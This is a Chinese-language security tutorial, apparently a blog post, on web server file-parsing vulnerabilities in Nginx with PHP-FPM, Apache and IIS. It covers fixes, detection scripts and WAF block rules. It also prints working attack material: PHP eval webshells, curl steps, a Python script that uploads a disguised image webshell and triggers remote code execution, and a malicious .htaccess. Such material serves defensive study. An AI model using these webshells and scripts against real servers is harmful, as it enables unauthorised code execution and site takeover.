一、为什么服务器会有"解析漏洞"
Web 服务器的职责是:收到请求 → 看文件后缀 → 决定用哪个处理模块。但在历史版本中,这个判断后缀的逻辑经常有 bug:
- 多后缀文件(
shell.php.jpg)到底算哪种类型? - 请求的路径到底哪部分是"文件名",哪部分是"附加路径信息"?
- 配置项的默认值是不是真的安全?
二、Nginx + PHP-FPM path_info 漏洞(最经典)
2.1 原理
Nginx 本身不解析 PHP,它只是把请求转发给 PHP-FPM。问题出在 Nginx 构造转发路径时没校验文件是否存在。
漏洞配置
``nginx
这是老教程里常见的"标准"配置
location ~ .php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
``
攻击请求
``
先上传一张图片 shell.jpg(内容:)
然后访问
POST /uploads/shell.jpg/xxx.php
``
Nginx 内部流程
``
- 请求 /uploads/shell.jpg/xxx.php
- Nginx 匹配 ~ .php$(结尾是 .php)→ 进 PHP 处理
- $fastcgi_script_name = /uploads/shell.jpg/xxx.php
- SCRIPT_FILENAME = /var/www/html/uploads/shell.jpg/xxx.php
- PHP-FPM 找不到 /uploads/shell.jpg/xxx.php → 报 "Primary script unknown"
- 但因为 php.ini 里 cgi.fix_pathinfo=1(默认值!)
- PHP-FPM 回退:去掉最后一段 /xxx.php
- 尝试执行 shell.jpg → 成功!
``
2.2 PoC
``bash
完整攻击流程
1. 上传 shell.jpg
curl -F "file=@shell.jpg" http://target.com/upload
2. 确认上传成功
curl http://target.com/uploads/shell.jpg
→ 返回
3. 触发解析漏洞
curl -X POST http://target.com/uploads/shell.jpg/xxx.php -d "c=phpinfo();"
→ 返回 phpinfo 页面!RCE 成功
``
2.3 PoC 自动化脚本
# nginx_pathinfo_rce.py
import requests
TARGET = "http://target.com"
UPLOAD_URL = f"{TARGET}/upload"
IMG_PATH = f"{TARGET}/uploads/shell.jpg"
EXPLOIT = f"{IMG_PATH}/xxx.php"
# 1. 上传图片马(带合法 JPG magic)
shell = b'\xff\xd8\xff\xe0<?php eval($_POST["c"]); ?>'
files = {'file': ('shell.jpg', shell, 'image/jpeg')}
r = requests.post(UPLOAD_URL, files=files)
print(f"[*] 上传: {r.status_code}")
# 2. 触发漏洞
r = requests.post(EXPLOIT, data={'c': 'echo "PWNED";'})
if 'PWNED' in r.text:
print(f"[+] 漏洞存在!RCE 成功")
# 3. 常用 payload 变体
VARIANTS = [
"/uploads/shell.jpg.xxx.php",
"/uploads/shell.jpg%00.php",
"/uploads/shell.jpg/",
"/uploads/shell.jpg%23.php",
]
for v in VARIANTS:
url = f"{TARGET}{v}"
r = requests.post(url, data={'c': 'echo TEST;'}, timeout=5)
if 'TEST' in r.text:
print(f"[+] 变体有效: {url}")
``
### 2.4 修复
#### Nginx 配置 + try_files
``nginx
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
# 关键:先检查文件是否存在
try_files $uri =404;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
``
#### PHP 配置
``ini
; php.ini
cgi.fix_pathinfo = 0 ; 关键!禁止回退解析
``
## 三、Apache 多后缀解析漏洞
### 3.1 Apache 的 AddType 机制
Apache 会按 `.` 从右向左依次检查文件后缀,遇到认识的就按那个处理:
| 文件名 | 解析结果 | 原因 |
|--------|---------|------|
| shell.php | PHP | 最后一个后缀 php |
| shell.php.xxx | PHP | xxx 不认识 → 往左看 php |
| shell.php.jpg | 某些版本 PHP | jpg 是图片 → 往左还有 php |
| shell.phtml | PHP | AddType application/x-httpd-php .phtml |
| shell.php5 | PHP | 配置里有 php5 |
### 3.2 利用
``bash
# 黑名单过滤了 .php
# 但上传 shell.phtml 绕过(AddType 默认包含 phtml)
echo '<?php eval($_POST["c"]); ?>' > shell.phtml
# 也可以用 .php3 .php4 .php5 .phps
``
### 3.3 .htaccess 任意扩展执行
如果上传了 .htaccess,可以用 AddType 让任意后缀执行 PHP:
``apache
# .htaccess 内容
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .xxx
SetHandler application/x-httpd-php
# 更狠:全匹配
<FilesMatch "." >
SetHandler application/x-httpd-php
</FilesMatch>
``
## 四、IIS 6.0 分号截断
Windows 文件名里不能有 `;`,但 IIS 处理 URL 时会把 `;` 后面的东西**截断**:
``
shell.asp;jpg → 当作 shell.asp 执行
# IIS 内部:filename = shell.asp;jpg → 取分号前 → shell.asp → 执行 ASP
``
### 修复
``
# 1. 升级到 IIS 7.5+(强烈建议)
# 2. 在 ISAPI 过滤器里拦截 .asa/.cer/.cdx 等
# 3. 上传目录设置"脚本不可执行"
``
## 五、IIS 7.0/7.5 path_info
和 Nginx path_info 原理类似,攻击 payload:
``
/uploads/shell.jpg/shell.php
/uploads/shell.jpg%00.php
``
## 六、Nginx alias 错误
``nginx
# 正确:location 和 alias 要么都有 / 要么都没有
location /static/ {
alias /var/www/data/; # 都有 /
}
# 或者直接用 root(不会错)
location /static/ {
root /var/www/data;
}
``
## 七、CGI 配置错误
``apache
# 危险配置:任意后缀当 CGI 执行
Options +ExecCGI
AddType application/x-httpd-cgi .txt .jpg
# 安全配置:上传目录禁执行
<Directory /var/www/uploads>
Options -ExecCGI -Includes -Indexes
AllowOverride None
php_admin_flag engine off
</Directory>
``
## 八、修复优先级
1. **升级** —— 停在老版本(IIS 6 / Apache 2.2 / 老 Nginx)等死
2. **try_files** —— Nginx 每个 PHP location 必加
3. **cgi.fix_pathinfo=0** —— PHP 全局配置
4. **上传目录禁脚本执行** —— Apache: php_admin_flag engine off
5. **严格 AddType** —— 只允许 .php/.py 等明确后缀
部署前用本文所有 payload 打一遍,确保没有解析类型判断错误。
## 九、真实案例回顾
### 9.1 ThinkPHP 5.x Nginx + php-fpm path_info 组合
2018 年 ThinkPHP 5.0.x 和 5.1.x 框架本身有多个漏洞(CVE-2018-20062 等),配合 Nginx path_info 漏洞可以快速写入 shell。完整链:
``
[1] 上传图片马 shell.jpg(内容 <?php eval($_POST['c']); ?>)
[2] 访问 POST /uploads/shell.jpg/shell.php
[3] Nginx 匹配 \.php$,转发给 php-fpm
[4] php-fpm 找不到 shell.php 回退执行 shell.jpg → RCE
``
### 9.2 某教育站 IIS 6 分号绕过
``
[1] 网站用 IIS 6.0 + ASP.NET 2.0
[2] 上传 shell.asp.jpg → IIS 6 忽略 .jpg 后缀 → 执行 ASP
[3] ASP 里用 WScript.Shell 执行命令
``
### 9.3 阿里云 CDN 反代 Nginx path_info
``
[1] 某电商站用阿里云 CDN + 回源 Nginx
[2] CDN 把 /xxx.jpg/xxx.php 转发给源站
[3] 源站 Nginx 用了 try_files 但 php-fpm 没关 fix_pathinfo
[4] 图片马执行成功
``
## 十、解析漏洞检测脚本
```python
# parse_vuln_checker.py
import requests, sys
def check_path_info(base, upload_path="/uploads/"):
"""检测 Nginx + PHP-FPM path_info 漏洞"""
shell = b'\xff\xd8\xff\xe0<?php echo "VULN"; ?>'
files = {'file': ('shell.jpg', shell, 'image/jpeg')}
try:
# 先尝试找到上传接口
upload_url = base + "/upload"
r = requests.post(upload_url, files=files, timeout=5)
if r.status_code != 200:
upload_url = base + upload_path + "shell.jpg"
# 直接用已有的文件也行
print(f"[*] 尝试 path_info: {upload_path}shell.jpg/x.php")
# 用 curl 发送 POST 触发执行
# 注意 PHP-FPM 需要 Content-Type: application/x-www-form-urlencoded
test_url = base + upload_path + "shell.jpg/x.php"
resp = requests.post(test_url, data={'_': '_'}, timeout=5)
if 'VULN' in resp.text:
print(f"[+] 漏洞存在!PHP-FPM path_info 可触发任意图片执行")
return True
except Exception as e:
print(f"[-] 检测失败: {e}")
return False
def check_apache_addtype(base):
"""检测 Apache .phtml / .php5 等扩展可执行"""
for ext in ['phtml', 'php5', 'php4', 'php3', 'phps']:
url = f"{base}/uploads/test.{ext}"
try:
r = requests.post(url, data={'<?php echo "VULN"; ?>': ''}, timeout=3)
# 写入探测
print(f" .{ext}: status={r.status_code} len={len(r.text)}")
except:
pass
if __name__ == '__main__':
target = sys.argv[1] if len(sys.argv) > 1 else 'http://127.0.0.1:8080'
check_path_info(target)
check_apache_addtype(target)
``
## 十一、WAF 拦截规则
Nginx ModSecurity 或 Apache mod_security 里加这些规则:
``nginx
# 拦截 path_info 攻击
# SecRule REQUEST_URI "@rx \.(jpg|png|gif|jpeg)/.*\.php" "phase:1,deny,status:403,id:10001"
# SecRule REQUEST_URI "@rx /.*\.(jpg|png|gif)/[^\s]*\.php$" "phase:1,deny,status:403,id:10002"
# 拦截 .asp;jpg 分号
# SecRule REQUEST_URI "@rx \.asp;[^\s]*" "phase:1,deny,status:403,id:10003"
# Nginx 原生配置
map $uri $is_malicious {
default 0;
~\.(jpg|png|gif)/.*\.php 1;
~\.asp; 1;
}
if ($is_malicious) {
return 403;
}
``
## 十二、总结
解析漏洞的本质是**服务器对"文件类型"的判断逻辑不够严谨**。防御优先级:
1. **升级** —— 停在老版本(IIS 6 / Apache 2.2 / 老 Nginx)等死
2. **try_files** —— Nginx 每个 PHP location 必加
3. **cgi.fix_pathinfo=0** —— PHP 全局配置
4. **上传目录禁脚本执行** —— Apache: php_admin_flag engine off / Nginx: 用 if 检查文件类型
5. **严格 AddType** —— 只允许 .php/.py 等明确后缀
6. **WAF 拦截典型 payload** —— .jpg/.php 组合、分号绕过等
一个安全的 Web 服务器配置,上传目录应该:
- **不可执行脚本**(php_admin_flag engine off 或通过 location 阻断)
- **只允许明确的图片后缀**(白名单)
- **GD 重编码**(确保是真图片)
- **非 Web 根路径**(用对象存储 / CDN)
这样即便出现解析漏洞也不会升级为 RCE。